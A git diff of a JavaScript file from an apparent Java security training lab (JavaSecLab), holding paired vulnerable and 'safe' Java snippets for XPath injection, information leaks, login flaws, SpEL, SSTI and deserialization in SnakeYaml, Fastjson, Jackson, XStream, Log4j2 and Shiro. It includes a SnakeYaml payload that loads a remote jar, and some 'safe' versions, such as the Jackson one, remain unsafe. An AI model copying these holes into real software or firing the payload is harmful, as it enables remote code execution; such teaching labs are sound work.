DocumentBuilder builder = factory.newDocumentBuilder();\n" + + " String xml = \"adminpassword\";\n" + + " Document doc = builder.parse(new InputSource(new StringReader(xml)));\n" + + "\n" + + " // 使用StringEscapeUtils.escapeXml10()方法对用户输入进行XML实体转义\n" + + " String escapedUsername = StringEscapeUtils.escapeXml10(username);\n" + + " String escapedPassword = StringEscapeUtils.escapeXml10(password);\n" + + "\n" + + " XPath xpath = XPathFactory.newInstance().newXPath();\n" + + " String expression = \"/users/user[username='\" + escapedUsername + \"' and password='\" + escapedPassword + \"']\";\n" + + " NodeList nodes = (NodeList) xpath.evaluate(expression, doc, XPathConstants.NODESET);\n" + + "\n" + + " if (nodes.getLength() > 0) {\n" + + " return R.ok(\"用户名和密码验证通过!欢迎:\" + escapedUsername);\n" + + " } else {\n" + + " return R.error(\"认证失败:用户名或密码错误\");\n" + + " }\n" + + " ...\n" + + "}\n" + // js泄漏-硬编码 const hardCoding = "function login() {\n" + " // 硬编码的用户名和密码\n" + @@ -1333,6 +1722,49 @@ const infoLeakJs = "var r = new i({\n" + " data: {path: \"https://official-website-1305887643.cos.ap-beijing.myqcloud.com/\".concat(o)}\n" + " })\n" + "})"; +const infoLeakBackUp = "root@MacBook ~/www/JavaSecLab tree -L 4 -h -t\n" + + "[ 320] .\n" + + "├── [ 76] deploy.sh\n" + + "├── [ 281] Dockerfile\n" + + "├── [ 818] docker-compose.yml\n" + + "├── [ 11K] LICENSE\n" + + "├── [5.7K] pom.xml\n" + + "├── [ 96] sql\n" + + "│   └── [2.9K] JavaSecLab.sql\n" + + "└── [ 128] src\n" + + " └── [ 128] main\n" + + " ├── [ 96] java\n" + + " │   └── [ 96] top\n" + + " └── [ 320] resources\n" + + " ├── [ 273] banner.txt\n" + + " ├── [ 427] application-docker.yml\n" + + " ├── [9.4K] logback-spring.xml\n" + + " ├── [ 421] application-dev.yml\n" + + " ├── [ 420] application-prod.yml\n" + + " ├── [1.2K] application.yml\n" + + " └── [ 160] mapper\n" + + "\n" + + "8 directories, 12 files" +const infoLeakLog = "// 开启了调试模式,打印了sql执行记录 并且输出了SessionId\n" + + "JDBC Connection [com.alibaba.druid.proxy.jdbc.ConnectionProxyImpl@784bb5e2] will not be managed by Spring\n" + + "==> Preparing: SELECT username,password FROM user WHERE (username = ?)\n" + + "==> Parameters: admin(String)\n" + + "2024-11-18 16:24:18 DEBUG Statement:136 - {conn-10006, pstmt-20183} Parameters : [admin]\n" + + "2024-11-18 16:24:18 DEBUG Statement:136 - {conn-10006, pstmt-20183} Types : [VARCHAR]\n" + + "2024-11-18 16:24:18 DEBUG Statement:136 - {conn-10006, pstmt-20183} executed. 2.459148 millis. SELECT username,password FROM user \n" + + " \n" + + " WHERE (username = ?)\n" + + "2024-11-18 16:24:18 DEBUG ResultSet:141 - {conn-10006, pstmt-20183, rs-50764} open\n" + + "2024-11-18 16:24:18 DEBUG ResultSet:141 - {conn-10006, pstmt-20183, rs-50764} Header: [username, password]\n" + + "2024-11-18 16:24:18 DEBUG ResultSet:141 - {conn-10006, pstmt-20183, rs-50764} Result: [admin, admin]\n" + + "<== Columns: username, password\n" + + "<== Row: admin, admin\n" + + "<== Total: 1\n" + + "Closing non transactional SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@23f938fe]\n" + + "2024-11-18 16:24:18.822 INFO 1 --- [-nio-80-exec-41] RequestAwareAuthenticationSuccessHandler : 用户名:admin,于2024-11-18 16:24:18 成功登录系统 IP:123.118.108.249 session:WebAuthenticationDetails [RemoteIpAddress=123.118.108.249, SessionId=0170B66882476E34F35BC232051F63E0]\n" + + "2024-11-18 16:24:32.737 INFO 1 --- [-nio-80-exec-41] t.w.m.system.controller.LoginController : session id E3C352C378552D29E10BDF42647B6864, 生成的验证码 o1kY\n" + + "2024-11-18 16:24:44.127 INFO 1 --- [-nio-80-exec-34] t.w.m.system.controller.LoginController : session id E3C352C378552D29E10BDF42647B6864, 生成的验证码 7Cwn" + const springBootSwagger = "return new Docket(DocumentationType.OAS_30)\n" + " .pathMapping(\"/\")\n" + " .enable(swaggerProperties.getEnable())//生产禁用\n" + @@ -1401,9 +1833,7 @@ const springBootDruid = "druid:\n" + "# config:\n" + "# multi-statement-allow: false" -const dirTraversal = '@GetMapping("/listdir")\n' + - '@ResponseBody\n' + - 'public String listDirectory(@RequestParam String dir) {\n' + +const dirTraversal = 'public String listDirectory(String dir) {\n' + ' String staticFolderPath = sysConstant.getStaticFolder();\n' + ' File baseDir = new File(staticFolderPath);\n' + ' File requestedDir = new File(baseDir, dir);\n' + @@ -1425,12 +1855,9 @@ const dirTraversal = '@GetMapping("/listdir")\n' + ' response.append(file.getName()).append("/\\">").append(file.getName()).append("/");\n' + ' ...\n' + ' return response.toString();\n' + - '}'; + '}' -const safe1ListDirectory = '@GetMapping("/safe1listdir")\n' + - '@ResponseBody\n' + - '@SneakyThrows\n' + - 'public String safe1ListDirectory(@RequestParam String dir) {\n' + +const safe1ListDirectory = 'public String safe1(String dir) {\n' + ' String staticFolderPath = sysConstant.getStaticFolder();\n' + ' File baseDir = new File(staticFolderPath);\n' + '\n' + @@ -1442,11 +1869,9 @@ const safe1ListDirectory = '@GetMapping("/safe1listdir")\n' + ' }\n' + ' File requestedDir = new File(baseDir, dir);\n' + ' ...\n' + - '}'; + '}' -const safe2ListDirectory = "@GetMapping(\"/safelistdir\")\n" + - "@ResponseBody\n" + - "public String safeListDirectory(@RequestParam String dir) {\n" + +const safe2ListDirectory = "public String safe2(String dir) {\n" + " String staticFolderPath = sysConstant.getStaticFolder();\n" + " File baseDir = new File(staticFolderPath);\n" + " File requestedDir = new File(baseDir, dir);\n" + @@ -1460,8 +1885,7 @@ const safe2ListDirectory = "@GetMapping(\"/safelistdir\")\n" + " return \"Error resolving directory path.\";\n" + "}\n" + "..."; -const infoLeakCeShi = "@GetMapping(\"/ping\")\n" + - "public String ping(@RequestParam(name = \"ip\", required = false) String ip, Model model) {\n" + +const infoLeakCeShi = "public String ping(String ip, Model model) {\n" + " String result = \"\";\n" + " if (ip != null && !ip.isEmpty()) {\n" + " try {\n" + @@ -1481,15 +1905,119 @@ const infoLeakCeShi = "@GetMapping(\"/ping\")\n" + " } catch (Exception e) {\n" + " result = \"Error: \" + e.getMessage();\n" + " ...\n" + - "}"; + "}\n"; + +// 登录对抗 +const vul1Account = "public class CustomUserDetailsService implements UserDetailsService {\n" + + " @Autowired\n" + + " private UserService userService;\n" + + "\t\n" + + " @Override\n" + + " public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {\n" + + " User sysUser = userService.getOne(Wrappers.query().lambda().eq(User::getUsername, username));\n" + + " if (ObjectUtil.isNull(sysUser)) {\n" + + " throw new UsernameNotFoundException(\"用户不存在\");\n" + + " // 安全写法:统一返回模糊错误信息\n" + + "\t\t// throw new UsernameNotFoundException(\"用户或密码错误\");\n" + + " }\n" + + "\n" + + " // 用户存在,直接返回 UserDetails 对象,不处理角色信息\n" + + " return new org.springframework.security.core.userdetails.User(sysUser.getUsername(), sysUser.getPassword(), new ArrayList<>());\n" + + " }\n" + + "}" +const vul2Account = "public R vul2(String username, String password) {\n" + + "\t\n" + + "\t// 这里简单模拟下数据库查询操作\n" + + "\t// User user = UserService.getAllByUsernameAndPassword(username,password)\n" + + "\tif (\"admin\".equalsIgnoreCase(username) && \"admin\".equalsIgnoreCase(password)) {\n" + + "\t\treturn R.ok(\"登录成功!用户名:\" + username + \", 密码:\" + password);\n" + + "\t} else {\n" + + "\t\treturn R.ok(\"账号或密码错误!\");\n" + + "\t}\n" + + "}" + +const vul1Bypass = "$.ajax({\n" + + "type: 'POST',\n" + + "url: '/loginconfront/bypass/vul1step1',\n" + + "data: data.field,\n" + + "success: function (response) {\n" + + "\t// 步骤一账号校验通过后,模拟进行下一步校验\n" + + " if (response.code === 0) {\n" + + " $(\"#vul1-bypass-result\").text(response.msg);\n" + + " setTimeout(() => {\n" + + " $.ajax({\n" + + " type: 'POST',\n" + + " url: '/loginconfront/bypass/vul1step2',\n" + + " data: {code: response.code},\n" + + " ..." +const vul2Bypass = "// step1:验证用户名并切换到步骤2\n" + + "$('#next1').on('click', function () {\n" + + " $.post('/loginconfront/bypass/step1', { username: username }, function (res) {\n" + + " if (res.code === 0) currentStep = 2;\n" + + " });\n" + + "});\n" + + "\n" + + "// step2:验证旧密码并切换到步骤3\n" + + "$('#next2').on('click', function () {\n" + + " $.post('/loginconfront/bypass/step2', { oldPassword: oldPassword }, function (res) {\n" + + " if (res.code === 0) currentStep = 3;\n" + + " });\n" + + "});\n" + + "\n" + + "// step3:提交新密码\n" + + "$('#reset-password-form').on('submit', function (e) {\n" + + " $.post('/loginconfront/bypass/step3', { newPassword: newPassword });\n" + + "});" +const vul1Reverse = "// 与服务端密钥一致 用于生产签名Sign\n" + + "const key = \"FF38DC304A1D74B19F24A36C09FD6B72\";\n" + + "function generateSign(params) {\n" + + " const query = Object.keys(params)\n" + + " .sort()\n" + + " .map(k => `${k}=${params[k]}`)\n" + + " .join(\"&\");\n" + + " // 使用 MD5 加密生成签名\n" + + " return md5(query + key);\n" + + "}\n" + + "const params = {\n" + + " username: data.field.username,\n" + + " password: data.field.password,\n" + + " timestamp: Date.now(),\n" + + "};\n" + + "const sign = generateSign(params);\n" + + "\n" + + "{\"username\":\"admin\",\"password\":\"123456\",\"timestamp\":1732373468477,\"sign\":\"1a56f2b3de87c435be816341d9bcf6fe\"}" +const vul2Reverse = "const publicKey = `-----BEGIN PUBLIC KEY-----\n" + + "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx6Iq6tBvjNHqczQmJJAo\n" + + "otsBfKM/9yJCuTV87ZlI0Y1EFG65Jo89aLHW7BqBUJepcKC9kcA5PJaWSF5BYElt\n" + + "Y2NPnIfGkHamKeFywWh4aYy66MlBqr91Fw0Wyx8PQlp0CJKfiPEQmzwUobpimAvK\n" + + "...\n" + + "-----END PUBLIC KEY-----\n" + + "`;\n" + + "\n" + + "const encryptField = (field) => {\n" + + " const encryptor = new JSEncrypt();\n" + + " encryptor.setPublicKey(publicKey);\n" + + " return encryptor.encrypt(field);\n" + + "};\n" + + "\n" + + "const encryptedUsername = encryptField(data.field.username);\n" + + "const encryptedPassword = encryptField(data.field.password);\n" + + "\n" + + "{\"encryptedUsername\":\"iDF5BNv1zaM0V9qog0qzlUES3sCGYqmvrKiqPIvUgP5qE0pYn9XN3btW3PbRwLuySeruK2i8lem+L67w5+fFQBuRrpettLrHl8izIRp2W+nq9o9Kg/LSa3/+JynFoUHxrvQ2taNM1nustROpkBjJMbTOK52S6ZBa0quMw+wjfR1XExlzc99U1WJQfRAqj7Gsl9EPydRIh8vs4S/Nen5kf/dL3ZikfMbCUUBonRlYy6a3nWJ412P+hxRbSl80Z8aQKw9lH4+Iju80oFmQ6DuS6Ce70h88z/Va+xzXHDzM8w6h5iqQLzq3Kj/E+b/wsn6eM7v+LEC8LwLQ/t8z8tki9g==\",\n" + + "\"encryptedPassword\":\"nDI0/PBwsFHnRRw7Z4gHZ6G8Uaq7BUjUxnTDw7bkR9nrTkoHfcDLKUddj2JS7WWbOyuwsUFce3/tXJYQWNMFQqGRtf6jXxFAlvTvBkRdsZXOIU+Abb4EqYw670xd5UTeAQ0lI5KNXtw6e/VbnXyX+STJdN2SO7FLbvZ4sM6gLQSVWLo/+pZsYxKlEUNxew2svlzDZtqKnyF12bzakWfzaWuovLnYCCEXV1oAJCErjgfoOS2wJADdgU0wE6KlFDMNjsCvONmO6KZpmJQ1GOq3MpyqySq8eyJkYG3cDSRo5nDo2YOcevOHifzMnKbrU9gh4/RUj8sxrykdqgLmzX3rhw==\"}" + +const vul1Credential = "vul1Credential" + +const vul2Credential = "vul2Credential" + // java专题 SPEL注入 -const spelVul = "public R spelVul(@ApiParam(name = \"ex\", value = \"表达式\", required = true) @RequestParam String ex) {\n" + +const spelVul = "public R vul(String ex) {\n" + " // 创建SpEL解析器,ExpressionParser接口用于表示解析器,SpelExpressionParser为默认实现\n" + " ExpressionParser parser = new SpelExpressionParser();\n" + " \n" + - "// Expression expression = parser.parseExpression(ex);\n" + - "// String result = expression.getValue().toString();\n" + + " // Expression expression = parser.parseExpression(ex);\n" + + " // String result = expression.getValue().toString();\n" + " \n" + " // 构造上下文 上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值 在不配置的情况下具有默认类型的上下文\n" + " EvaluationContext evaluationContext = new StandardEvaluationContext();\n" + @@ -1502,27 +2030,28 @@ const spelVul = "public R spelVul(@ApiParam(name = \"ex\", value = \"表达式\" " return R.ok(result);\n" + "}" -const spelSafe = "public R spelSafe(@ApiParam(name = \"ex\", value = \"表达式\", required = true) @RequestParam String ex) {\n" + +const spelSafe = "public R safe(String ex) {\n" + " ExpressionParser parser = new SpelExpressionParser();\n" + " \n" + - "\t// 使用 SimpleEvaluationContext 限制表达式功能(Java类型引用、构造函数调用、Bean引用),防止危险的操作\n" + + " // 使用 SimpleEvaluationContext 限制表达式功能(Java类型引用、构造函数调用、Bean引用),防止危险的操作\n" + " EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();\n" + " \n" + - "\tExpression exp = parser.parseExpression(ex);\n" + + " Expression exp = parser.parseExpression(ex);\n" + " \n" + - "\tString result = exp.getValue(simpleContext).toString();\n" + + " String result = exp.getValue(simpleContext).toString();\n" + " return R.ok(result);\n" + - "}" + "}\n" -const sstiVul = "public String sstiVul(@ApiParam(name = \"para\", value = \"用户输入参数\", required = true) @RequestParam String para, Model model) {\n" + +const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n" + " // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞\n" + - " return \"/vul/ssti/\" + para;\n" + + " return \"vul/ssti/\" + para;\n" + "}\n" + "\n" + - "public void sstiVul2(@PathVariable String path) {\n" + + "public void vul2(@PathVariable String path) {\n" + " log.info(\"SSTI注入:\"+path);\n" + "}\n" + "\n" + + "\t// 缺陷组件版本参考\n" + "\n" + " org.springframework.boot\n" + " spring-boot-starter-parent\n" + @@ -1536,8 +2065,7 @@ const sstiVul = "public String sstiVul(@ApiParam(name = \"para\", value = \"用 " spring-boot-starter-thymeleaf\n" + " 2.4.1\n" + "\n" -const sstiSafe = "@GetMapping(\"/safe-thymeleaf\")\n" + - "public String sstiSafe(@ApiParam(name = \"para\", value = \"用户输入参数\", required = true) @RequestParam String para, Model model) {\n" + +const sstiSafe = "public String safe1(String para, Model model) {\n" + " List white_list = new ArrayList<>(Arrays.asList(\"vul\", \"ssti\"));\n" + " if (white_list.contains(para)){\n" + " return \"vul/ssti\" + para;\n" + @@ -1546,13 +2074,11 @@ const sstiSafe = "@GetMapping(\"/safe-thymeleaf\")\n" + " }\n" + "}\n" + "@GetMapping(\"/safe2/{path}\")\n" + - "public void sstiSafe2(@PathVariable String path, HttpServletResponse response) {\n" + + "public void safe2(@PathVariable String path, HttpServletResponse response) {\n" + " log.info(\"SSTI注入:\"+path);\n" + "}" -const vulReadObject = "@RequestMapping(\"/vulReadObject\")\n" + - "@ResponseBody\n" + - "public R vulReadObject(String payload) {\n" + +const vulReadObject = "public R vul(String payload) {\n" + " try {\n" + " payload = payload.replace(\" \", \"+\");\n" + " byte[] bytes = Base64.getDecoder().decode(payload);\n" + @@ -1565,9 +2091,7 @@ const vulReadObject = "@RequestMapping(\"/vulReadObject\")\n" + " return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" + " }\n" + "}" -const safeReadObject1 = "@RequestMapping(\"/safeReadObject1\")\n" + - "@ResponseBody\n" + - "public R safeReadObject1(String payload) {\n" + +const safeReadObject1 = "public R safe1(String payload) {\n" + " // 安全措施:禁用不安全的反序列化\n" + " System.setProperty(\"org.apache.commons.collections.enableUnsafeSerialization\", \"false\");\n" + " try {\n" + @@ -1582,9 +2106,7 @@ const safeReadObject1 = "@RequestMapping(\"/safeReadObject1\")\n" + " return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" + " }\n" + "}" -const safeReadObject2 = "@RequestMapping(\"/safeReadObject2\")\n" + - "@ResponseBody\n" + - "public R safeReadObject2(String payload) {\n" + +const safeReadObject2 = "public R safe2(String payload) {\n" + " try {\n" + " payload = payload.replace(\" \", \"+\");\n" + " byte[] bytes = Base64.getDecoder().decode(payload);\n" + @@ -1604,30 +2126,25 @@ const safeReadObject2 = "@RequestMapping(\"/safeReadObject2\")\n" + "}" const safeReadObject3 = "safeReadObject3" -const vulSnakeYaml = "@PostMapping(\"/vulSnakeYaml\")\n" + - "@ResponseBody\n" + - "public R vulSnakeYaml(String payload) {\n" + +const vulSnakeYaml = "public R vul(String payload) {\n" + " Yaml y = new Yaml();\n" + " y.load(payload);\n" + " return R.ok(\"[+]Java反序列化:SnakeYaml\");\n" + "}\n" + "\n" + - "payload示例:\n" + - "payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]]" -const safeSnakeYaml = "@PostMapping(\"/safeSnakeYaml\")\n" + - "public R safeSnakeYaml(String payload) {\n" + + "// payload示例\n" + + "payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]]\n" +const safeSnakeYaml = "public R safe(String payload) {\n" + " try {\n" + " Yaml y = new Yaml(new SafeConstructor());\n" + " y.load(payload);\n" + - " return R.ok(\"[-]Java反序列化:SnakeYaml安全构造\");\n" + + " return R.ok(\"[+]Java反序列化:SnakeYaml安全构造\");\n" + " } catch (Exception e) {\n" + " return R.error(\"[-]Java反序列化:SnakeYaml反序列化失败\");\n" + " }\n" + "}" - -const vulXmlDecoder = '@RequestMapping("/vulXmlDecoder")\n' + - 'public R vulXmlDecoder(String payload) {\n' + +const vulXmlDecoder = 'public R vul(String payload) {\n' + ' String[] strCmd = payload.split(" ");\n' + ' StringBuilder xml = new StringBuilder()\n' + ' .append("")\n' + @@ -1648,11 +2165,28 @@ const vulXmlDecoder = '@RequestMapping("/vulXmlDecoder")\n' + ' }\n' + '}' -const safeXmlDecoder = "vulXmlDecoder" +const safeXmlDecoder = 'public R safe(@RequestParam String payload) {\n' + + ' try {\n' + + ' // 构建 XML 字符串\n' + + ' ...\n' + + ' // 使用 SAX 解析器解析 XML\n' + + ' SAXParserFactory factory = SAXParserFactory.newInstance();\n' + + ' SAXParser saxParser = factory.newSAXParser();\n' + + ' CommandHandler handler = new CommandHandler();\n' + + ' // 将 ByteArrayInputStream 包装成 InputSource\n' + + ' InputSource inputSource = new InputSource(new ByteArrayInputStream(xml.toString().getBytes(StandardCharsets.UTF_8)));\n' + + ' saxParser.parse(inputSource, handler);\n' + + ' // 获取解析后的命令参数\n' + + ' List args = handler.getArgs();\n' + + ' // 处理解析后的命令参数\n' + + ' System.out.println("Parsed command: " + String.join(" ", args));\n' + + ' return R.ok("[+]命令解析成功:"+String.join(" ", args));\n' + + ' } catch (Exception e) {\n' + + ' return R.error("[-]命令解析失败: " + e.getMessage());\n' + + ' }\n' + + '}' -const vulFastjson = "@PostMapping(\"/vul\")\n" + - "@ResponseBody\n" + - "public String vulFastjson(@RequestBody String content) {\n" + +const vulFastjson = "public String vul(@RequestBody String content) {\n" + " try {\n" + " JSONObject jsonObject = JSON.parseObject(content);\n" + " return jsonObject.toString();\n" + @@ -1666,16 +2200,14 @@ const vulFastjson = "@PostMapping(\"/vul\")\n" + " fastjson\n" + " 1.2.37\n" + "" -const safeFastjson = "@PostMapping(\"/safe\")\n" + - "@ResponseBody\n" + - "public String safeFastjson(@RequestBody String content) {\n" + +const safeFastjson = "public String safe(@RequestBody String content) {\n" + " try {\n" + " // 1、禁用 AutoType\n" + " ParserConfig.getGlobalInstance().setAutoTypeSupport(false);\n" + " // 2、使用AutoType白名单机制\n" + "// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);\n" + "// ParserConfig.getGlobalInstance().addAccept(\"top.whgojp.WhiteListClass\");\n" + - " // 3、1.2.68之后的版本,Fastjson真家里safeMode的支持\n" + + " // 3、1.2.68之后的版本,Fastjson增加了safeMode的支持\n" + "// ParserConfig.getGlobalInstance().setSafeMode(true);\n" + "// JSONObject jsonObject = JSON.parseObject(content, Feature.DisableSpecialKeyDetect);\n" + " JSONObject jsonObject = JSON.parseObject(content);\n" + @@ -1690,18 +2222,49 @@ const safeFastjson = "@PostMapping(\"/safe\")\n" + " 1.2.83版本以上\n" + "" -const vulXstream = "@RequestMapping(\"/vul\")\n" + - "@ResponseBody\n" + - "public String vulXstream(@RequestBody String content) {\n" + - "\tXStream xs = new XStream();\n" + - "\tObject result = xs.fromXML(content); // 反序列化得到的对象\n" + +const vulJackson = "public String vul(@RequestBody String content) {\n" + + " try {\n" + + " ObjectMapper mapper = new ObjectMapper();\n" + + " mapper.enableDefaultTyping(); // 启用多态类型处理\n" + + "\n" + + " // 反序列化接收的JSON数据,触发漏洞\n" + + " Object obj = mapper.readValue(content, Object.class);\n" + + " return \"[+]Jackson 反序列化: \" + obj.toString();\n" + + " } catch (Exception e) {\n" + + " e.printStackTrace();\n" + + " return \"[-]Jackson反序列化失败\";\n" + + " }\n" + + "}" + +const safeJackson = "public String safe(@RequestBody String payload) {\n" + + " try {\n" + + " ObjectMapper mapper = new ObjectMapper();\n" + + "\n" + + " // 启用安全的类型验证\n" + + " mapper.activateDefaultTyping(\n" + + " LaissezFaireSubTypeValidator.instance,\n" + + " ObjectMapper.DefaultTyping.NON_FINAL\n" + + " );\n" + + " mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, true);\n" + + "\n" + + " // 反序列化传入的JSON数据\n" + + " Map safePayload = mapper.readValue(payload, Map.class);\n" + + " return mapper.writeValueAsString(safePayload);\n" + + " } catch (Exception e) {\n" + + " e.printStackTrace();\n" + + " return \"Jackson Safe Deserialization Error\";\n" + + " }\n" + + "}" + +const vulXstream = "public String vul(@RequestBody String content) {\n" + + " XStream xs = new XStream();\n" + + " Object result = xs.fromXML(content); // 反序列化得到的对象\n" + "\n" + - "\t// 检查反序列化后的结果并返回相关信息\n" + - "\treturn \"组件漏洞-Xstream Vul, 反序列化结果: \\n\" + result.toString();\n" + + " // 检查反序列化后的结果并返回相关信息\n" + + " return \"组件漏洞-Xstream Vul, 反序列化结果: \\n\" + result.toString();\n" + "}" -const safeXstreamBlackList = "@RequestMapping(\"/safe-BlackList\")\n" + - "public String safeXstreamBlackList(@RequestBody String content) {\n" + +const safeXstreamBlackList = "public String safe1(@RequestBody String content) {\n" + " XStream xstream = new XStream();\n" + " // 首先清除默认设置,然后进行自定义设置\n" + " xstream.addPermission(NoTypePermission.NONE);\n" + @@ -1711,8 +2274,7 @@ const safeXstreamBlackList = "@RequestMapping(\"/safe-BlackList\")\n" + " return \"组件漏洞-Xstream Safe-BlackList\";\n" + "}" -const safeXstreamWhiteList = "@RequestMapping(\"/safe-WhiteList\")\n" + - "public String safeXstreamWhiteList(@RequestBody String content) {\n" + +const safeXstreamWhiteList = "public String safe2(@RequestBody String content) {\n" + " XStream xstream = new XStream();\n" + " // 首先清除默认设置,然后进行自定义设置\n" + " xstream.addPermission(NoTypePermission.NONE);\n" + @@ -1723,19 +2285,28 @@ const safeXstreamWhiteList = "@RequestMapping(\"/safe-WhiteList\")\n" + " // 添加自定义的类列表\n" + " xstream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));\n" + " return \"组件漏洞-Xstream Safe-WhiteList\";\n" + - "}\n" - -const vulLog4j2 = "@PostMapping(\"/vul\")\n" + - "@ResponseBody\n" + - "public String vulLog4j2(@RequestParam(\"payload\") String payload) {\n" + - "\tlogger.error(payload);\t//此处解析${}从而触发漏洞\n" + - "\treturn \"[+]Log4j2反序列化:\"+payload;\n" + "}" + +const vulLog4j2 = "public String vul(String payload) {\n" + + " //此处解析${}从而触发漏洞\n" + + " logger.error(payload); \n" + + " return \"[+]Log4j2反序列化:\"+payload;\n" + + "}\n" + + "\n" + + "\n" + + " org.apache.logging.log4j\n" + + " log4j-core\n" + + " 2.8.2\n" + + "\n" + + "\n" + + "\n" + + " org.apache.logging.log4j\n" + + " log4j-api\n" + + " 2.8.2\n" + + "" const safeLog4j2 = "safeLog4j2" -const vulShiro = "@GetMapping(\"/getAESKey\")\n" + - "@ResponseBody\n" + - "public R getShiroKey(){\n" + +const vulShiro = "public R getShiroKey(){\n" + " try{\n" + " byte[] key = new CookieRememberMeManager().getCipherKey();\n" + " return R.ok(\"Shiro AES密钥硬编码为:\"+new String(Base64.getEncoder().encode(key)));\n" + @@ -1749,3 +2320,21 @@ const vulShiro = "@GetMapping(\"/getAESKey\")\n" + " shiro-spring\n" + " 1.2.4\n" + "" +const JdbcDeserial = "public R vul() {\n" + + " ...\n" + + " Connection conn = DriverManager.getConnection(url, username, password);\n" + + " String selectQuery = \"SELECT malicious_object FROM objects WHERE id = 1\";\n" + + " Statement stmt = conn.createStatement();\n" + + " ResultSet rs = stmt.executeQuery(selectQuery);\n" + + "\n" + + " if (rs.next()) {\n" + + " // 查询并获取恶意对象的字节数据\n" + + " byte[] maliciousObjectBytes = rs.getBytes(\"malicious_object\");\n" + + " // 反序列化恶意对象\n" + + " ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(maliciousObjectBytes);\n" + + " ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);\n" + + "\n" + + " // 触发反序列化漏洞\n" + + " MaliciousObject maliciousObject = (MaliciousObject) objectInputStream.readObject();\n" + + " }\n" + + " ..." diff --git a/src/main/resources/static/lib/custom-icon/demo.css b/src/main/resources/static/lib/custom-icon/demo.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/custom-icon/demo_index.html b/src/main/resources/static/lib/custom-icon/demo_index.html old mode 100644 new mode 100755 index 12b1893..d51334c --- a/src/main/resources/static/lib/custom-icon/demo_index.html +++ b/src/main/resources/static/lib/custom-icon/demo_index.html @@ -54,6 +54,120 @@

-

安全环境:URL白名单校验

+

安全场景:URL白名单校验

- +
-

漏洞环境:基于Spring MVC的重定向方式

+

漏洞场景:基于Spring MVC的重定向方式